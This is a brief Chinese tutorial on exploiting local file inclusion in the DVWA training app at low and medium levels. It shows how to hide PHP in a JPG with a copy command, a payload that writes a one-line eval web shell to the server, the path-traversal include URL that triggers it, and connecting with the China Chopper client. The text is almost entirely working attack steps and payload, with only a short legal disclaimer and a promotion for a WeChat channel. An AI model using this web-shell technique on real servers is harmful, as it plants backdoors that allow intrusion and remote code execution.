35、本地文件包含漏洞

一、本地文件包含漏洞：

环境：DVWA，low级别

1、制作一句话图片木马

第一种方法：

windows命令

copy 1.jpg/b+1.php 2.jpg

第二种方法：

将照片拖入edjpgcom软件，添加下面这句话

<?fputs(fopen("1.php","w"),'<?php eval($_POST[cmd]);?>')?>

2、上传图片木马文件

3、选择文件包含页面

4、执行文件包含并生成后门
192.168.152.188/dvwa/vulnerabilities/fi/？page=…/…/hackable/uploads/1.jpg

5、在/var/www/dvwa/vulnerabilities/fi目录生成了1.php

6、菜刀链接


二、环境：DVWA，medium级别

同low级别

禁止非法，后果自负

欢迎关注公众号：web安全工具库

​